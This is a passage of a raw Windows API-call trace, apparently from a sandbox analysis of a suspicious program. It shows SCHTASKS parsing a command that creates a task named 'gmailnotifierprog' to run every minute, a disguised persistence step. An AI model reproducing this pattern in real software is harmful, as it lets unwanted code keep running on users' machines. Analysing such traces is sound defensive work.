Flags=0xc, Size=0x200) returned 0x1ed3df5bb50 [0109.734] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x1ed3df5bb50, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0109.734] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0109.734] GetProcessHeap () returned 0x1ed3df50000 [0109.734] RtlAllocateHeap (HeapHandle=0x1ed3df50000, Flags=0xc, Size=0x30) returned 0x1ed3df53930 [0109.734] _vsnwprintf (in: _Buffer=0x1ed3df53880, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x1d6828f6d8 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0109.734] GetProcessHeap () returned 0x1ed3df50000 [0109.734] GetProcessHeap () returned 0x1ed3df50000 [0109.735] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df5a880) returned 1 [0109.735] GetProcessHeap () returned 0x1ed3df50000 [0109.735] RtlSizeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, MemoryPointer=0x1ed3df5a880) returned 0x776 [0109.735] RtlFreeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, BaseAddress=0x1ed3df5a880) returned 1 [0109.735] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.735] GetThreadLocale () returned 0x409 [0109.735] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0109.735] lstrlenW (lpString="?") returned 1 [0109.735] GetThreadLocale () returned 0x409 [0109.735] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0109.735] lstrlenW (lpString="create") returned 6 [0109.735] GetThreadLocale () returned 0x409 [0109.735] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0109.735] lstrlenW (lpString="delete") returned 6 [0109.735] GetThreadLocale () returned 0x409 [0109.736] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0109.736] lstrlenW (lpString="query") returned 5 [0109.736] GetThreadLocale () returned 0x409 [0109.736] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0109.736] lstrlenW (lpString="change") returned 6 [0109.736] GetThreadLocale () returned 0x409 [0109.736] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0109.736] lstrlenW (lpString="run") returned 3 [0109.736] GetThreadLocale () returned 0x409 [0109.736] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0109.736] lstrlenW (lpString="end") returned 3 [0109.736] GetThreadLocale () returned 0x409 [0109.736] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0109.736] lstrlenW (lpString="showsid") returned 7 [0109.736] GetThreadLocale () returned 0x409 [0109.736] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0109.736] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.736] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.736] lstrlenW (lpString="/create") returned 7 [0109.736] lstrlenW (lpString="-/") returned 2 [0109.736] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0109.736] lstrlenW (lpString="?") returned 1 [0109.736] lstrlenW (lpString="?") returned 1 [0109.736] GetProcessHeap () returned 0x1ed3df50000 [0109.736] RtlAllocateHeap (HeapHandle=0x1ed3df50000, Flags=0xc, Size=0x18) returned 0x1ed3df53f00 [0109.736] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.736] GetProcessHeap () returned 0x1ed3df50000 [0109.736] RtlAllocateHeap (HeapHandle=0x1ed3df50000, Flags=0xc, Size=0xa) returned 0x1ed3df53f20 [0109.736] lstrlenW (lpString="create") returned 6 [0109.736] GetProcessHeap () returned 0x1ed3df50000 [0109.736] RtlAllocateHeap (HeapHandle=0x1ed3df50000, Flags=0xc, Size=0x18) returned 0x1ed3df53f40 [0109.736] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.736] GetProcessHeap () returned 0x1ed3df50000 [0109.736] RtlAllocateHeap (HeapHandle=0x1ed3df50000, Flags=0xc, Size=0x14) returned 0x1ed3df53f60 [0109.736] _vsnwprintf (in: _Buffer=0x1ed3df53f20, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|?|") returned 3 [0109.737] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|create|") returned 8 [0109.737] lstrlenW (lpString="|?|") returned 3 [0109.737] lstrlenW (lpString="|create|") returned 8 [0109.737] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.737] lstrlenW (lpString="create") returned 6 [0109.737] lstrlenW (lpString="create") returned 6 [0109.737] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.737] GetProcessHeap () returned 0x1ed3df50000 [0109.737] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df53f20) returned 1 [0109.737] GetProcessHeap () returned 0x1ed3df50000 [0109.737] RtlReAllocateHeap (Heap=0x1ed3df50000, Flags=0xc, Ptr=0x1ed3df53f20, Size=0x14) returned 0x1ed3df54270 [0109.737] lstrlenW (lpString="create") returned 6 [0109.737] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.737] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|create|") returned 8 [0109.737] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|create|") returned 8 [0109.737] lstrlenW (lpString="|create|") returned 8 [0109.737] lstrlenW (lpString="|create|") returned 8 [0109.737] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0109.737] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.737] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.737] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.737] lstrlenW (lpString="/tn") returned 3 [0109.737] lstrlenW (lpString="-/") returned 2 [0109.737] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0109.737] lstrlenW (lpString="?") returned 1 [0109.737] lstrlenW (lpString="?") returned 1 [0109.737] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.737] lstrlenW (lpString="tn") returned 2 [0109.737] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.737] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|?|") returned 3 [0109.737] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|tn|") returned 4 [0109.737] lstrlenW (lpString="|?|") returned 3 [0109.737] lstrlenW (lpString="|tn|") returned 4 [0109.737] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.738] lstrlenW (lpString="create") returned 6 [0109.738] lstrlenW (lpString="create") returned 6 [0109.738] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.738] lstrlenW (lpString="tn") returned 2 [0109.738] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.738] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|create|") returned 8 [0109.738] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|tn|") returned 4 [0109.738] lstrlenW (lpString="|create|") returned 8 [0109.738] lstrlenW (lpString="|tn|") returned 4 [0109.738] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0109.738] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.738] lstrlenW (lpString="delete") returned 6 [0109.738] lstrlenW (lpString="delete") returned 6 [0109.738] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.738] lstrlenW (lpString="tn") returned 2 [0109.738] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.738] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|delete|") returned 8 [0109.738] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|tn|") returned 4 [0109.738] lstrlenW (lpString="|delete|") returned 8 [0109.738] lstrlenW (lpString="|tn|") returned 4 [0109.738] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0109.738] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.738] lstrlenW (lpString="query") returned 5 [0109.738] lstrlenW (lpString="query") returned 5 [0109.738] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.738] lstrlenW (lpString="tn") returned 2 [0109.738] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.738] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x8, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|query|") returned 7 [0109.738] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|tn|") returned 4 [0109.738] lstrlenW (lpString="|query|") returned 7 [0109.738] lstrlenW (lpString="|tn|") returned 4 [0109.738] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0109.739] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.739] lstrlenW (lpString="change") returned 6 [0109.739] lstrlenW (lpString="change") returned 6 [0109.739] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.739] lstrlenW (lpString="tn") returned 2 [0109.739] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.739] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|change|") returned 8 [0109.739] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|tn|") returned 4 [0109.739] lstrlenW (lpString="|change|") returned 8 [0109.739] lstrlenW (lpString="|tn|") returned 4 [0109.739] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0109.739] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.739] lstrlenW (lpString="run") returned 3 [0109.739] lstrlenW (lpString="run") returned 3 [0109.739] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.739] lstrlenW (lpString="tn") returned 2 [0109.739] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.739] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|run|") returned 5 [0109.739] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|tn|") returned 4 [0109.739] lstrlenW (lpString="|run|") returned 5 [0109.739] lstrlenW (lpString="|tn|") returned 4 [0109.739] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0109.739] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.739] lstrlenW (lpString="end") returned 3 [0109.739] lstrlenW (lpString="end") returned 3 [0109.739] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.739] lstrlenW (lpString="tn") returned 2 [0109.739] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.739] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|end|") returned 5 [0109.739] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|tn|") returned 4 [0109.739] lstrlenW (lpString="|end|") returned 5 [0109.740] lstrlenW (lpString="|tn|") returned 4 [0109.740] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0109.740] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.740] lstrlenW (lpString="showsid") returned 7 [0109.740] lstrlenW (lpString="showsid") returned 7 [0109.740] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.740] GetProcessHeap () returned 0x1ed3df50000 [0109.740] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df54270) returned 1 [0109.740] GetProcessHeap () returned 0x1ed3df50000 [0109.740] RtlReAllocateHeap (Heap=0x1ed3df50000, Flags=0xc, Ptr=0x1ed3df54270, Size=0x16) returned 0x1ed3df54270 [0109.740] lstrlenW (lpString="tn") returned 2 [0109.740] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.740] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0xa, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|showsid|") returned 9 [0109.740] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|tn|") returned 4 [0109.740] lstrlenW (lpString="|showsid|") returned 9 [0109.740] lstrlenW (lpString="|tn|") returned 4 [0109.740] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0109.740] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.740] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.740] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.740] lstrlenW (lpString="/tn") returned 3 [0109.740] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0109.740] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.740] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.740] lstrlenW (lpString="/tn") returned 3 [0109.740] GetProcessHeap () returned 0x1ed3df50000 [0109.740] RtlAllocateHeap (HeapHandle=0x1ed3df50000, Flags=0xc, Size=0x8) returned 0x1ed3df53f20 [0109.740] GetProcessHeap () returned 0x1ed3df50000 [0109.740] RtlAllocateHeap (HeapHandle=0x1ed3df50000, Flags=0xc, Size=0x20) returned 0x1ed3df5b7e0 [0109.740] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.740] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.740] lstrlenW (lpString="gmailnotifierprog") returned 17 [0109.740] lstrlenW (lpString="-/") returned 2 [0109.740] StrChrIW (lpStart="-/", wMatch=0x67) returned 0x0 [0109.740] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.740] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.740] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.741] lstrlenW (lpString="gmailnotifierprog") returned 17 [0109.741] StrChrIW (lpStart="gmailnotifierprog", wMatch=0x3a) returned 0x0 [0109.741] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.741] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.741] lstrlenW (lpString="gmailnotifierprog") returned 17 [0109.741] GetProcessHeap () returned 0x1ed3df50000 [0109.741] RtlAllocateHeap (HeapHandle=0x1ed3df50000, Flags=0xc, Size=0x24) returned 0x1ed3df5b450 [0109.741] GetProcessHeap () returned 0x1ed3df50000 [0109.741] RtlAllocateHeap (HeapHandle=0x1ed3df50000, Flags=0xc, Size=0x20) returned 0x1ed3df5b9c0 [0109.741] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.741] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.741] lstrlenW (lpString="/sc") returned 3 [0109.741] lstrlenW (lpString="-/") returned 2 [0109.741] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0109.741] lstrlenW (lpString="?") returned 1 [0109.741] lstrlenW (lpString="?") returned 1 [0109.741] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.741] lstrlenW (lpString="sc") returned 2 [0109.741] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.741] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|?|") returned 3 [0109.741] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|sc|") returned 4 [0109.741] lstrlenW (lpString="|?|") returned 3 [0109.741] lstrlenW (lpString="|sc|") returned 4 [0109.741] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.741] lstrlenW (lpString="create") returned 6 [0109.741] lstrlenW (lpString="create") returned 6 [0109.741] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.741] lstrlenW (lpString="sc") returned 2 [0109.741] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.741] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|create|") returned 8 [0109.741] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|sc|") returned 4 [0109.741] lstrlenW (lpString="|create|") returned 8 [0109.741] lstrlenW (lpString="|sc|") returned 4 [0109.741] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0109.742] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.742] lstrlenW (lpString="delete") returned 6 [0109.742] lstrlenW (lpString="delete") returned 6 [0109.742] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.742] lstrlenW (lpString="sc") returned 2 [0109.742] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.742] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|delete|") returned 8 [0109.742] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|sc|") returned 4 [0109.742] lstrlenW (lpString="|delete|") returned 8 [0109.742] lstrlenW (lpString="|sc|") returned 4 [0109.742] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0109.742] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.742] lstrlenW (lpString="query") returned 5 [0109.742] lstrlenW (lpString="query") returned 5 [0109.742] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.742] lstrlenW (lpString="sc") returned 2 [0109.742] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.742] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x8, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|query|") returned 7 [0109.742] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|sc|") returned 4 [0109.742] lstrlenW (lpString="|query|") returned 7 [0109.742] lstrlenW (lpString="|sc|") returned 4 [0109.742] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0109.742] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.742] lstrlenW (lpString="change") returned 6 [0109.742] lstrlenW (lpString="change") returned 6 [0109.742] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.742] lstrlenW (lpString="sc") returned 2 [0109.742] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.742] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|change|") returned 8 [0109.742] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|sc|") returned 4 [0109.742] lstrlenW (lpString="|change|") returned 8 [0109.742] lstrlenW (lpString="|sc|") returned 4 [0109.742] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0109.743] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.743] lstrlenW (lpString="run") returned 3 [0109.743] lstrlenW (lpString="run") returned 3 [0109.743] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.743] lstrlenW (lpString="sc") returned 2 [0109.743] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.743] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|run|") returned 5 [0109.743] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|sc|") returned 4 [0109.743] lstrlenW (lpString="|run|") returned 5 [0109.743] lstrlenW (lpString="|sc|") returned 4 [0109.743] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0109.743] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.743] lstrlenW (lpString="end") returned 3 [0109.743] lstrlenW (lpString="end") returned 3 [0109.743] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.743] lstrlenW (lpString="sc") returned 2 [0109.743] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.743] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|end|") returned 5 [0109.743] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|sc|") returned 4 [0109.743] lstrlenW (lpString="|end|") returned 5 [0109.743] lstrlenW (lpString="|sc|") returned 4 [0109.743] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0109.743] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.743] lstrlenW (lpString="showsid") returned 7 [0109.743] lstrlenW (lpString="showsid") returned 7 [0109.743] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.743] lstrlenW (lpString="sc") returned 2 [0109.743] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.743] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0xa, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|showsid|") returned 9 [0109.743] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|sc|") returned 4 [0109.743] lstrlenW (lpString="|showsid|") returned 9 [0109.744] lstrlenW (lpString="|sc|") returned 4 [0109.744] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0109.744] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.744] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.744] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.744] lstrlenW (lpString="/sc") returned 3 [0109.744] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0109.744] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.744] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.744] lstrlenW (lpString="/sc") returned 3 [0109.744] GetProcessHeap () returned 0x1ed3df50000 [0109.744] RtlAllocateHeap (HeapHandle=0x1ed3df50000, Flags=0xc, Size=0x8) returned 0x1ed3df542a0 [0109.744] GetProcessHeap () returned 0x1ed3df50000 [0109.744] RtlAllocateHeap (HeapHandle=0x1ed3df50000, Flags=0xc, Size=0x20) returned 0x1ed3df5ba80 [0109.744] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.744] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.744] lstrlenW (lpString="MINUTE") returned 6 [0109.744] lstrlenW (lpString="-/") returned 2 [0109.744] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0109.744] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.744] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.744] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.744] lstrlenW (lpString="MINUTE") returned 6 [0109.744] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0109.744] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.744] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.744] lstrlenW (lpString="MINUTE") returned 6 [0109.744] GetProcessHeap () returned 0x1ed3df50000 [0109.744] RtlAllocateHeap (HeapHandle=0x1ed3df50000, Flags=0xc, Size=0xe) returned 0x1ed3df542c0 [0109.744] GetProcessHeap () returned 0x1ed3df50000 [0109.744] RtlAllocateHeap (HeapHandle=0x1ed3df50000, Flags=0xc, Size=0x20) returned 0x1ed3df5b900 [0109.744] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.744] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.744] lstrlenW (lpString="/mo") returned 3 [0109.744] lstrlenW (lpString="-/") returned 2 [0109.744] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0109.744] lstrlenW (lpString="?") returned 1 [0109.744] lstrlenW (lpString="?") returned 1 [0109.744] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.745] lstrlenW (lpString="mo") returned 2 [0109.745] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.745] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|?|") returned 3 [0109.745] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|mo|") returned 4 [0109.745] lstrlenW (lpString="|?|") returned 3 [0109.745] lstrlenW (lpString="|mo|") returned 4 [0109.745] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.745] lstrlenW (lpString="create") returned 6 [0109.745] lstrlenW (lpString="create") returned 6 [0109.745] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.745] lstrlenW (lpString="mo") returned 2 [0109.745] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.745] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|create|") returned 8 [0109.745] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|mo|") returned 4 [0109.745] lstrlenW (lpString="|create|") returned 8 [0109.745] lstrlenW (lpString="|mo|") returned 4 [0109.745] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0109.745] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.745] lstrlenW (lpString="delete") returned 6 [0109.745] lstrlenW (lpString="delete") returned 6 